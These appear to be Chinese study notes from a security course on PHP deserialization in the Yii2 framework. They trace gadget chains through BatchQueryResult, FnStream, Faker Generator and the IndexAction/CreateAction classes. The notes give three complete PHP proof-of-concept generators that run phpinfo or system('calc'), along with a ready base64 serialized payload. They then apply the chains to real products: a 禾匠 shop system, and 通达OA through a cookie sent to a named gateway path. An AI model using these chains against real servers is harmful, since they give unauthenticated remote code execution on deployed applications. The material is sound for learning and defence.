yii是和tp一样的框架
入口文件
web目录下
相对tp比较简单一些,对比tp找一下他的url结构
对应的位置结构
这个contorllers文件的actionindex就是触发的方法
控制器,指向的index文件,就可以去视图模块看index文件
这就是前端展示的文件
自己创建个新的文件访问试试
访问到了test/test文件,返回了123,这个需要文件名字和上一个模板原因,利用类的格式也是,都需要调用,跟tp差不多
例如有反序列化入口怎么构造poc
这里就有接受序列化数值,并且进行反序列化操作的入口
思路和tp一样,
全局搜索销毁函数
来到这个文件下
记录一下文件名字和类
跟踪一下reset
跟到这里就没有了,close跟到也是没什么东西,但这里datareader是可控的,可以赋值给一个不存在的方法,触发--call
这里用到第二个思路,直接找call_user_func 逆跟
搜到了一个,同文件下面还有一个close方法直接返回func的值
这里记录一下命名空间和类,用到close方法
这里就已经可以构造链了
在这里让datareader等于 new FnStream这个对象再去触发close的时候就等于触发的FnStream对象的close
开始构造pop链
这里按照笔记顺序先写上面的再写下面的
先写个固定模板
这里就是use 第一个命名空间和类,然后声明一个新的对象
然后在上面写第一个链
第一个链写好之后就想办法给_fn_close可控,造成危害
然后在第一个链上面写第二个链
生成base64加密的反序列化值
TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoyNDoiR3V6emxlSHR0cFxQc3I3XEZuU3RyZWFtIjoxOntzOjk6Il9mbl9jbG9zZSI7czo3OiJwaHBpbmZvIjt9fQ
代码执行成功
看一下debug流程
直接看触发销毁函数的地方
datareader等于要触发类
到close的时候就执行了phpinfo
poc1
<?php
namespace GuzzleHttp\Psr7{//第二个链命名空间
class FnStream{//第二个链的类
var $_fn_close="phpinfo";//创建变量值为phpinfo
}
}
namespace yii\db{//第一个链的命名空间
use GuzzleHttp\Psr7\FnStream;//因为调用FnStream类所以需要包含这个类
class BatchQueryResult{//第一个链的类
private $_dataReader;//变量值
public function __construct()//创建方法
{
$this->_dataReader = new FnStream();//变量赋值为FnStream
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize( new BatchQueryResult()));
//new是为了调用BatchQueryResult形成__destruct()-》reset()
}
第二个链
给一个不存在的方法去出发--call
全局搜索看看可利用的call
记录文件名字,命名空间和类
然后跟踪一下format
看到了func-array,但是很遗憾,变量arguments被固定了,没法利用
然后这个人就去找单函数的
全局搜call_user_func(
关于两个值,在本文将没有看到,就转到声明
这两个赋值就可以
ok,开始构造链
poc2
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess='system';
public $id='calc';
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(),'run'];//数组格式赋值,控制第一个值调用run方法
}
}
}
namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间
use Faker\Generator;//因为调用Generator类所以需要包含这个类
class BatchQueryResult{//第一个链的类
private $_dataReader;//变量值
public function __construct()//创建方法
{
$this->_dataReader = new Generator();//c出发时不沉溺在方法call
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize( new BatchQueryResult()));
//new是为了调用BatchQueryResult形成__destruct()-》reset()
}
动态调试看看
运行流程
在close时候给的方法不存在此文件,调用了call
这里数组格式赋值调用了indexaction的run方法
第三链
这里又搜索到一个一样的
构造一下链
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess='system';
public $id='calc';
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new CreateAction(),'run'];//数组格式赋值,控制第一个值调用run方法
}
}
}
namespace yii\db{//第一个链的命名空间,因为来源于第一个链的命名空间
use Faker\Generator;//因为调用Generator类所以需要包含这个类
class BatchQueryResult{//第一个链的类
private $_dataReader;//变量值
public function __construct()//创建方法
{
$this->_dataReader = new Generator();//c出发时不沉溺在方法call
}
}
}
namespace {
use yii\db\BatchQueryResult;
echo base64_encode(serialize( new BatchQueryResult()));
//new是为了调用BatchQueryResult形成__destruct()-》reset()
}
就只修改第三段链就可以了,而且也只是改一下类和命名空间
每一个链引用的文件都是不一样的,所以多条链路就是挨个调用所需要的类和方法
而这个是要在框架被开发的时候,出现了接受反序列化值而且我们可控可以这个值,就会造成反序列化命令执行漏洞
梳理流程txt文件
vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db; 类:class BatchQueryResult
vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db; 类:class BatchQueryResult
_dataReader=new FnStream -》close()
namespace GuzzleHttp\Psr7; class FnStream
close()
return call_user_func($this->_fn_close);
第一个思路,直接找call-user-func 逆跟
poc2
vendor/yiisoft/yii2/db/BatchQueryResult.php
__destruct()-》reset()
命名空间:namespace yii\db; 类:class BatchQueryResult
vendor/yiisoft/yii2/db/BatchQueryResult.php
_dataReader(可赋值)
命名空间:namespace yii\db; 类:class BatchQueryResult
_dataReader=错误方法 -》call方法
vendor/fzaninotto/faker/src/Faker/Generator.php
namespace Faker; class Generator
call()->format()->call_user_func_array();;formattters('close') = [new indexaction(),'run']
call_user_func_array($this->getFormatter($formatter), $arguments);$arguments被固定了
但可以控制$formatter调用方法
call_user_func_array(“new IndexAction.run()”就能调用下一个链执行命令
vendor/yiisoft/yii2/rest/IndexAction.php
namespace yii\rest; class IndexAction
call_user_func($this->checkAccess, $this->id);
poc3
vendor/yiisoft/yii2/rest/CreateAction.php
namespace yii\rest; class CreateAction
call_user_func($this->checkAccess, $this->id);
案例一 禾匠商城
https://zhuanlan.zhihu.com/p/526291918
就在这里因为json-decode失败之后
就会进入变量res = unseriailize反序列化执行
就可以利用刚刚写好的链
案例二 通达oa反序列化
奇安信攻防社区-通达OA反序列化分析
使用了yii2.0.13版本
正常解密源码
怎么判断是yii框架
一艘关键字,getversion就找到了这个,文件名字也是yii
这个方法使用了unserialize函数
这里就使用了反推方法,先找了最后触发点,然后往前找
在全局搜索
这里引用过
搜索到loadcsrftokne引用过
getcsrftoken引用过
最后csrgmatggs引用过
这就马上就能找到入口文件了
看poc。入口是以cookie发送过去,访问
/general/appbuilder/web/portal/gateway/
目录
变量data就是cookie里面的数据
但是原有的链用不了,都被改了
就只能自己在找新的反序列化链
前面流程在找到close方法都是一样的
close方法发送了更改,然后在找call方法
然后剩下的看链接地址,里面有挨个链路分析,挺长的
额,这节课感觉小迪留后手了,讲的很水
jian
kang